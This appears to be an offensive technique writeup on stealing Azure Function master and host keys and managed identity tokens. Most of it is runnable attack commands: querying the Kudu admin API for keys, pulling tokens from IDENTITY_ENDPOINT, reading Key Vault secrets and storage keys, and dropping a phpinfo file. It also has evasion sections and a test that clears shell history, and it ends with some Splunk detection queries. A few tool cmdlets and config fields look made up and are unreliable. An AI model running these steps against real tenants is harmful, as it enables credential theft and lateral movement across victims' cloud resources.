| Attribute | Details |
|---|---|
| Technique ID | CA-TOKEN-003 |
| MITRE ATT&CK v18.1 | Steal Application Access Token (T1528) |
| Tactic | Credential Access (TA0006) |
| Platforms | Azure Cloud (Entra ID/Microsoft 365) |
| Severity | CRITICAL |
| CVE | N/A (By-Design Vulnerability) |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-08 |
| Affected Versions | All Azure Functions runtimes (.NET, Python, Node.js, PowerShell, Java) |
| Patched In | N/A - Architectural limitation without API changes |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Function key extraction is an advanced credential theft technique that exploits the architecture of Azure Functions to steal both function-level access keys and managed identity tokens. Azure Functions are serverless compute services that process events and execute code; they require function keys for HTTP-triggered function invocation and use managed identities for accessing other Azure resources. An attacker with access to the function’s storage account, or with the ability to inject code into the function, can extract the function’s Master Key and Host Keys (which grant administrative access to all functions), as well as steal scoped access tokens for the function’s managed identity. These tokens grant full programmatic access to any Azure resource the function is authorized to access, including databases, key vaults, storage accounts, and compute resources.
Attack Surface: The vulnerability exists through multiple attack vectors: (1) Storage account access - function code is stored in Azure File Shares within the associated storage account; (2) Kudu API endpoints (SCM service) that provide command execution capabilities; (3) Environment variables (IDENTITY_ENDPOINT, IDENTITY_HEADER) that enable direct managed identity token acquisition; (4) Application settings and local.settings.json files containing secrets and connection strings; (5) Function host runtime process memory containing decryption keys; (6) Weak authentication mechanisms for SCM (Basic Auth support); (7) Code injection opportunities through storage account manipulation.
Business Impact: Extraction of Azure Function keys enables attackers to: (1) Invoke the function with administrative privileges regardless of intended authorization; (2) Steal managed identity access tokens with the function’s permissions; (3) Pivot to other Azure resources (databases, key vaults, virtual machines) using the stolen tokens; (4) Dump sensitive connection strings and API keys from function app settings; (5) Overwrite function code with malicious payload for persistent access; (6) Execute arbitrary commands on the function container via Kudu API; (7) Enumerate all function names and configurations within the function app; (8) Access storage accounts where function code is stored, enabling lateral movement to other functions.
Technical Context: The attack executes in 10-30 minutes once initial access is obtained (through compromised storage account credentials, subscriptions, or code injection). The extraction is highly reliable due to documented function architecture and limited security controls on storage accounts. Detection is challenging because token requests through the IDENTITY_ENDPOINT appear legitimate and are difficult to distinguish from normal function operation. Stealth is maintained by using environment variables and legitimate Azure APIs, which generate minimal audit trail compared to interactive access attempts.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS 5.1 (Azure Functions) | Ensure function apps have restricted access and authentication requirements |
| DISA STIG | AC-2 (Account Management) | Access control for function app management and execution |
| CISA SCuBA | App.2.2 | Secure authentication for serverless compute resources |
| NIST 800-53 | AC-3 | Access control enforcement for function key and managed identity access |
| NIST 800-53 | IA-2 | Authentication for Azure Function invocation and management |
| GDPR | Art. 32 | Security of processing - encryption and access controls for serverless workloads |
| DORA | Art. 9 | Protection and prevention - secure function deployment and configuration |
| NIS2 | Art. 21 | Cyber risk management - secure serverless compute infrastructure |
| ISO 27001 | A.6.1.2 | Segregation of duties for function app administration |
| ISO 27005 | Risk Scenario | Compromise of function app credentials enabling lateral movement in cloud environment |
Supported Versions:
Tools:
az storage file CLI commandscurl, jq, base64, python3# Login to Azure
az login
# List all function apps in current subscription
az functionapp list --query "[].{name:name, resourceGroup:resourceGroup, runtime:runtime}" -o table
# Get detailed function app information
az functionapp show --name <FunctionAppName> --resource-group <ResourceGroupName>
# List all storage accounts in subscription
az storage account list --query "[].{name:name, resourceGroup:resourceGroup}" -o table
# Find storage accounts associated with function apps
az storage account list --query "[].{name:name, resourceGroup:resourceGroup, kind:kind}" -o table | grep -i function
What to Look For:
<functionappname>storage# List function app host keys (requires Function App Contributor role)
az functionapp keys list --name <FunctionAppName> --resource-group <ResourceGroupName>
# Get function-specific keys
az functionapp function keys list --name <FunctionAppName> --resource-group <ResourceGroupName> --function-name <FunctionName>
# Retrieve app settings (may contain secrets)
az functionapp config appsettings list --name <FunctionAppName> --resource-group <ResourceGroupName>
# Check for managed identity assignment
az functionapp identity show --name <FunctionAppName> --resource-group <ResourceGroupName>
# Get master key using ARM API
az rest --method post --url /subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/providers/Microsoft.Web/sites/{functionAppName}/host/default/listKeys?api-version=2021-02-01
What to Look For:
# List storage accounts accessible from function app
az storage account list --query "[].name" -o tsv | while read account; do
echo "Account: $account"
az storage share list --account-name $account -o table 2>/dev/null || echo "No access to $account"
done
# List file shares in storage account (if accessible)
az storage share list --account-name <StorageAccountName> --query "[].name" -o tsv
# List files in function code share
az storage file list --share-name <ShareName> --account-name <StorageAccountName> --path "site/wwwroot" -o table
What to Look For:
# If you have command execution on a function, check environment variables
# This returns the managed identity endpoint and token
$env:IDENTITY_ENDPOINT
$env:IDENTITY_HEADER
# Get token using the environment variables
curl "$env:IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H "X-IDENTITY-HEADER: $env:IDENTITY_HEADER"
What to Look For:
# Login to Azure via CLI
az login
# Query function apps and storage accounts
az functionapp list --query "[*].[name,resourceGroup]" -o tsv | while read func group; do
echo "Function: $func in Resource Group: $group"
az functionapp show --name "$func" --resource-group "$group" --query "identity.principalId"
done
# Enumerate storage file shares
for account in $(az storage account list --query "[*].name" -o tsv); do
az storage share list --account-name "$account" 2>/dev/null
done
# Check for public storage account access
az storage container list --account-name <StorageAccountName> --account-key <AccountKey> --auth-mode key
What to Look For:
Supported Versions: All Azure Functions runtimes
Kudu is the deployment and management service for Azure App Services and Functions. It exposes an API that can retrieve function keys without authentication if SCM credentials are available.
Objective: Acquire the Kudu API endpoint and credentials (publishing profile or management token).
Command (Using Azure CLI):
# Get publishing profile credentials
az functionapp deployment list-publishing-profiles \
--name <FunctionAppName> \
--resource-group <ResourceGroupName> \
--xml --query "[?publishMethod=='MSDeploy'].{url:publishUrl, username:userName, password:userPWD}" -o json
# Extract username and password from publishing profile
# Format: username = $<FunctionAppName>
# Password = <base64-encoded-string>
Command (Using Azure PowerShell):
# Get Kudu API token for authenticated requests
$Token = (Get-AzAccessToken).Token
$FunctionAppName = "<FunctionAppName>"
$ResourceGroup = "<ResourceGroupName>"
# Construct Kudu endpoint
$KuduUrl = "https://$($FunctionAppName).scm.azurewebsites.net"
# Test Kudu connectivity
$Headers = @{Authorization = "Bearer $Token"}
Invoke-RestMethod -Uri "$KuduUrl/api/environment" -Headers $Headers
Expected Output:
{
"hostName": "functionapp.azurewebsites.net",
"homeDirectory": "D:\\home",
"version": "1.0"
}
OpSec & Evasion:
Objective: Call the Kudu admin API endpoint to retrieve all function keys.
Command (Using curl with Bearer Token):
# Get master and function keys via Kudu API
FUNCTION_APP="<FunctionAppName>"
TOKEN="<AccessToken>"
curl -X GET "https://$FUNCTION_APP.scm.azurewebsites.net/api/functions/admin/token" \
-H "Authorization: Bearer $TOKEN"
# Alternative: Using Basic Auth (if publishing profile credentials available)
USERNAME='$<FunctionAppName>'
PASSWORD='<PublishingProfilePassword>'
ENCODED=$(echo -n "$USERNAME:$PASSWORD" | base64)
curl -X GET "https://$FUNCTION_APP.scm.azurewebsites.net/api/functions/admin/token" \
-H "Authorization: Basic $ENCODED"
Expected Output:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2Z1bmN0aW9uYXBwLnNjbS5henVyZXdlYnNpdGVzLm5ldCIsImF1ZCI6Imh0dHBzOi8vZnVuY3Rpb25hcHAuc2NtLmF6dXJld2Vic2l0ZXMubmV0In0.KZ_mR...
What This Means:
OpSec & Evasion:
Objective: Enumerate all function and master keys accessible through Kudu.
Command:
# Using the obtained JWT token
KUDU_TOKEN="<JWTToken>"
FUNCTION_APP="<FunctionAppName>"
# Get master keys
curl -X GET "https://$FUNCTION_APP.scm.azurewebsites.net/api/functions/admin/keys" \
-H "Authorization: Bearer $KUDU_TOKEN" | jq .
# Get specific function keys
curl -X GET "https://$FUNCTION_APP.scm.azurewebsites.net/api/functions/<FunctionName>/keys" \
-H "Authorization: Bearer $KUDU_TOKEN" | jq .
Expected Output:
{
"master": {
"name": "default",
"value": "q7L9N8mK2x5pY3jV6wQ1rT4uS9oI0pA5bC8dE1fG4hJ7kL0mN3oP6qR9sT2uV5w=="
},
"functions": [
{
"name": "HttpTrigger1",
"keys": [
{
"name": "default",
"value": "z1X2c3V4b5N6m7A8s9D0fG1hJ2kL3mN4oP5qR6sT7uV8wX9yZ0aB1cD2eF3gH4i=="
}
]
}
]
}
What This Means:
OpSec & Evasion:
Objective: Use the stolen function keys to invoke the function with any payload.
Command:
# Invoke function using master key
FUNCTION_APP="<FunctionAppName>"
FUNCTION_NAME="<FunctionName>"
FUNCTION_KEY="<ExtractedKey>"
curl -X POST "https://$FUNCTION_APP.azurewebsites.net/api/$FUNCTION_NAME?code=$FUNCTION_KEY" \
-H "Content-Type: application/json" \
-d '{"command": "whoami"}'
# If function is HTTP-triggered and accepts GET
curl "https://$FUNCTION_APP.azurewebsites.net/api/$FUNCTION_NAME?code=$FUNCTION_KEY&cmd=id"
OpSec & Evasion:
Supported Versions: All Azure Functions with managed identity assigned
This method exploits the function’s ability to acquire tokens for its assigned managed identity by accessing the IDENTITY_ENDPOINT and IDENTITY_HEADER environment variables.
Objective: Execute code on the function container to access environment variables.
Command (Via Kudu API - /api/command endpoint):
# Execute command on function container via Kudu
KUDU_TOKEN="<JWTToken>"
FUNCTION_APP="<FunctionAppName>"
# Get environment variables
curl -X POST "https://$FUNCTION_APP.scm.azurewebsites.net/api/command" \
-H "Authorization: Bearer $KUDU_TOKEN" \
-H "Content-Type: application/json" \
-d '{"command":"set"}'
# Output shows all environment variables including IDENTITY_ENDPOINT and IDENTITY_HEADER
Command (Via SSH Web Shell in Azure Portal):
# Connect via SSH if available
# Then execute:
printenv | grep IDENTITY
env | grep -i identity
Command (Via FTP/SFTP File Access):
# If FTP access is available, create a test.php or test.html file
# that outputs environment variables when accessed
echo '<?php phpinfo(); ?>' > /home/site/wwwroot/test.php
# Then access via browser
# https://<FunctionAppName>.azurewebsites.net/test.php
Expected Output:
IDENTITY_ENDPOINT=http://127.0.0.1:8081/msi/token
IDENTITY_HEADER=7d3c2f1a-4e5b-4c3d-8e9f-1a2b3c4d5e6f
What This Means:
OpSec & Evasion:
Objective: Use the IDENTITY_ENDPOINT to acquire an access token scoped to Azure Resource Manager.
Command (From Function Code or Via Command Execution):
# Acquire token for Azure Resource Manager (management.azure.com)
IDENTITY_ENDPOINT="http://127.0.0.1:8081/msi/token"
IDENTITY_HEADER="7d3c2f1a-4e5b-4c3d-8e9f-1a2b3c4d5e6f"
curl -X GET "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
-H "Metadata: true" | jq '.access_token' -r > token.txt
# Acquire token for Microsoft Graph API
curl -X GET "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2017-09-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER" \
-H "Metadata: true"
# Acquire token for Storage Account access
curl -X GET "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2017-09-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
Expected Output:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzAzYzMyNzQ1LTUwMjMtNGY5Zi04ZWU0LWM3N2M5ZjM3NzQ3MC8iLCJpYXQiOjE2MzcwMTk2MjEsIm5iZiI6MTYzNzAxOTYyMSwiZXhwIjoxNjM3MTAzMzIxLCJhaW8iOiJBVFFBeS84VEFBQUFXd0lpYjhZVEIwR3lPeEwrR3lJNm9qWTdYb2lEMnlkcmFpczBSRmlGdWVscU9mRzMybzRTUkgrNXZKQzhaeUlYTkdSMDVZN0JxYU0yOHRwejZZPSIsImFzc2VydGlvbnMiOiJDckJHYzFOMWMyTkpSVkpRUVRrNU1URTROVFQ0PSIsImdyb3VwcyI6WyIzZDJjY2FhYi01ZjE4LTQzNzgtODgxNy04OThjMzE3YjRlNjgiXSwiZGlydHlUaW1lc3RhbXAiOjE2MzcwMTk2MjEsImlzc3VlciI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzAzYzMyNzQ1LTUwMjMtNGY5Zi04ZWU0LWM3N2M5ZjM3NzQ3MC8ifQ.bR7C...",
"resource": "https://management.azure.com/",
"token_type": "Bearer",
"expires_in": "3599"
}
What This Means:
OpSec & Evasion:
Objective: Use the stolen managed identity token to access protected Azure resources.
Command (List Virtual Machines in Subscription):
# Using stolen token to list VMs
TOKEN="<StolenManagedIdentityToken>"
SUBSCRIPTION_ID="<SubscriptionId>"
curl -X GET \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.Compute/virtualMachines?api-version=2022-11-01" \
-H "Authorization: Bearer $TOKEN" | jq '.value[] | {name: .name, resourceGroup: .id}'
Command (Enumerate Storage Accounts and Keys):
# List storage accounts accessible to the managed identity
curl -X GET \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.Storage/storageAccounts?api-version=2021-06-01" \
-H "Authorization: Bearer $TOKEN"
# Get storage account keys (for lateral movement)
curl -X POST \
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/<ResourceGroup>/providers/Microsoft.Storage/storageAccounts/<StorageAccountName>/listKeys?api-version=2021-06-01" \
-H "Authorization: Bearer $TOKEN"
Command (Access Key Vault Secrets):
# Enumerate secrets in Key Vault
curl -X GET \
"https://<KeyVaultName>.vault.azure.net/secrets?api-version=2016-10-01" \
-H "Authorization: Bearer $TOKEN"
# Retrieve specific secret
curl -X GET \
"https://<KeyVaultName>.vault.azure.net/secrets/<SecretName>?api-version=2016-10-01" \
-H "Authorization: Bearer $TOKEN"
OpSec & Evasion:
Supported Versions: All Azure Functions runtimes
Function code and configuration are stored in Azure File Shares within the associated storage account. Keys and secrets are often visible in configuration files and function code.
Objective: Gain access to the storage account file shares containing function code.
Command (Using Storage Account Connection String):
# List file shares in storage account
CONNECTION_STRING="DefaultEndpointProtocol=https;AccountName=<AccountName>;AccountKey=<AccountKey>;EndpointSuffix=core.windows.net"
az storage share list --connection-string "$CONNECTION_STRING" --query "[].name" -o tsv
# Access specific share containing function code
az storage file list --connection-string "$CONNECTION_STRING" \
--share-name "azureweb" --path "site/wwwroot" -o table
Command (Direct URL Access - If Blob is Public):
# Check if storage account containers are publicly accessible
STORAGE_ACCOUNT="<StorageAccountName>"
# Attempt to list blobs without authentication
curl -s "https://$STORAGE_ACCOUNT.blob.core.windows.net/<ContainerName>?restype=container&comp=list" | grep BlobName
# If successful, download sensitive files
curl -o config.json "https://$STORAGE_ACCOUNT.blob.core.windows.net/<ContainerName>/site/wwwroot/function.json"
Expected Output:
site
azureweb
zone1
OpSec & Evasion:
Objective: Retrieve secrets, keys, and credentials from function application settings and source code.
Command (Read host.json for Encryption Settings):
# Download host.json configuration file
az storage file download --connection-string "$CONNECTION_STRING" \
--share-name "azureweb" --path "site/wwwroot/host.json" \
--dest-file ./host.json
# View encrypted keys information
cat host.json | jq '.functionKeys.encryptionKeys'
Command (Extract AppSettings from Function Configuration):
# Function app settings contain connection strings and keys
az functionapp config appsettings list \
--name <FunctionAppName> \
--resource-group <ResourceGroupName> \
--query "[].{name:name, value:value}" -o json
# Example secrets that may be exposed:
# - AzureWebJobsStorage (connection string)
# - Database connection strings
# - API keys for external services
# - Service principal credentials
Command (Search Function Code for Hard-Coded Secrets):
# Download function code from storage
az storage file download --connection-string "$CONNECTION_STRING" \
--share-name "azureweb" --path "site/wwwroot/<FunctionName>/index.js" \
--dest-file ./function_code.js
# Search for secrets in code
grep -i "key\|secret\|password\|token\|credential" function_code.js
# Example hard-coded secrets found:
# connectionString: "Server=sql.database.azure.com;User=admin;Password=P@ssw0rd123;"
# apiKey: "sk_live_51234567890abcdefgh..."
# clientSecret: "zyx98765432abcdefgh..."
Expected Output:
[
{
"name": "AzureWebJobsStorage",
"value": "DefaultEndpointProtocol=https;AccountName=storageaccount;AccountKey=abcd1234...=="
},
{
"name": "DatabaseConnectionString",
"value": "Server=contoso.database.windows.net;User=dbuser;Password=DB@Pass123;"
},
{
"name": "ApiKey",
"value": "sk_live_9876543210abcdefghijklmnop"
}
]
What This Means:
OpSec & Evasion:
Objective: Decrypt the MACHINEKEY encryption keys stored in host.json to decrypt function keys.
Command (Using MicroBurst Tool):
# Using MicroBurst's Azure Functions exploitation module
Install-Module MicroBurst -Force
Import-Module MicroBurst
# Decrypt function app keys from host.json
$HostJsonPath = ".\host.json"
$DecryptedKeys = Invoke-AzFunctionsKeyExtraction -HostJsonPath $HostJsonPath
# Output contains decrypted master and function keys
$DecryptedKeys | Format-Table -AutoSize
Command (Manual Decryption with DPAPI):
# Extract encryption key from host.json
$HostJson = Get-Content .\host.json | ConvertFrom-Json
$EncryptedKey = $HostJson.functionKeys.decryptionKeyId
# Decrypt using DPAPI (if running as same user context)
$DecryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
[Convert]::FromBase64String($EncryptedKey),
$null,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
$DecryptedKey = [System.Text.Encoding]::UTF8.GetString($DecryptedBytes)
Write-Host "Decrypted Key: $DecryptedKey"
OpSec & Evasion:
Atomic Test ID: T1528-003-MCADDF
Test Name: Azure Function Key Extraction via Kudu API
Description: Simulates extraction of Azure Function master and function keys using Kudu API.
Supported Versions: All Azure Functions runtimes
Command:
# Prerequisites: Access to Azure subscription and function app
FUNCTION_APP="<FunctionAppName>"
RESOURCE_GROUP="<ResourceGroupName>"
# Authenticate with Azure CLI
az login
# Get access token for Kudu API
TOKEN=$(az account get-access-token --query accessToken -o tsv)
# Call Kudu API to list function keys
curl -X GET "https://$FUNCTION_APP.scm.azurewebsites.net/api/functions/admin/keys" \
-H "Authorization: Bearer $TOKEN" | jq .
# If successful, keys are returned
if [ $? -eq 0 ]; then
echo "SUCCESS: Function keys extracted"
exit 0
else
echo "FAILED: Could not extract keys"
exit 1
fi
Cleanup Command:
# No cleanup needed - read-only operation
# Clear command history
history -c
Reference: Atomic Red Team - T1528
Version: Latest
Language: PowerShell
Supported Platforms: Windows PowerShell 5.0+, PowerShell Core
Installation:
Install-Module MicroBurst -Scope CurrentUser -Force
Get-Module MicroBurst -ListAvailable
Key Cmdlets for Function Exploitation:
# Extract function keys from host.json
Invoke-AzFunctionsKeyExtraction -HostJsonPath .\host.json
# Enumerate function apps in subscription
Get-AzFunctionApp -Verbose
# Exploit storage account to extract function code
Invoke-AzStorageEnumeration -Verbose
Version: Latest (2.0+)
Platform: Cross-platform (Windows, macOS, Linux)
Installation:
# Windows
msiexec.exe /i Azure\ CLI.msi
# macOS
brew install azure-cli
# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash
Key Commands for Function Key Extraction:
# List function apps
az functionapp list
# Get function app details
az functionapp show --name <FunctionAppName> --resource-group <ResourceGroup>
# List function app keys (requires appropriate permissions)
az functionapp keys list --name <FunctionAppName> --resource-group <ResourceGroup>
# Get app settings (may contain secrets)
az functionapp config appsettings list --name <FunctionAppName> --resource-group <ResourceGroup>
Version: Latest (7.0+)
Platform: Windows PowerShell 5.0+, PowerShell Core
Installation:
Install-Module Az -AllowClobber -Scope CurrentUser -Force
Key Cmdlets:
# Connect to Azure
Connect-AzAccount
# Get function app details
Get-AzFunctionApp -Name <FunctionAppName> -ResourceGroupName <ResourceGroup>
# Get function app publish profile
Get-AzWebAppPublishingProfile -Name <FunctionAppName> -ResourceGroupName <ResourceGroup>
# Get app settings
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroup>
Rule Configuration:
azure_activityazure:aad:audit or azure:activityoperationName, caller, properties.ipAddress, resourceTypeSPL Query:
sourcetype="azure:activity" OR sourcetype="azure:aad:audit"
(operationName="*Kudu*" OR operationName="*SCM*" OR operationName="*api/functions*")
| stats count by caller, operationName, properties.ipAddress, resourceType
| where count >= 1
What This Detects:
Rule Configuration:
azure_activityazure:function:logsmessage, functionName, operationNameSPL Query:
sourcetype="azure:function:logs" (message="*IDENTITY_ENDPOINT*" OR message="*msi/token*" OR message="*X-IDENTITY-HEADER*")
| stats count by functionName, message, request_source_ip
| where count > 5
What This Detects:
Rule Configuration:
azure_activityazure:aad:auditoperationName, resourceType, callerSPL Query:
sourcetype="azure:aad:audit" operationName="*listKeys*" resourceType="*Function*"
| stats count by caller, operationName, resourceId, properties.ipAddress
| where count >= 1
What This Detects:
Rule Configuration:
azure_activityazure:storage:auditobjectName, operationName, caller, sourceIPAddressSPL Query:
sourcetype="azure:storage:audit" (objectName="*site/wwwroot*" OR objectName="*host.json*" OR objectName="*function.json*")
(operationName="*GetBlob*" OR operationName="*GetFile*" OR operationName="*ListBlob*")
| stats count by caller, objectName, operationName
| where count > 10
What This Detects:
Rule Configuration:
azure_activityazure:appservice:logs or azure:diagnosticsrequest_uri, caller, remote_ip, response_statusSPL Query:
sourcetype="azure:appservice:logs" (request_uri="*/api/command*" OR request_uri="*/api/vfs/*")
| stats count by caller, request_uri, remote_ip, response_status, method
| where response_status="200" OR response_status="201"
What This Detects:
Rule Configuration:
azure_activityazure:aad:auditoperationName, caller, resourceType, result, sourceIPAddressSPL Query:
sourcetype="azure:aad:audit" caller="*managed*identity*" OR caller="*system*assigned*"
(operationName="*listKeys*" OR operationName="*listSecrets*" OR operationName="*read*storage*")
| stats count by caller, operationName, resourceType, sourceIPAddress
| where sourceIPAddress!="10.*" AND sourceIPAddress!="172.16.*" AND sourceIPAddress!="192.168.*"
What This Detects: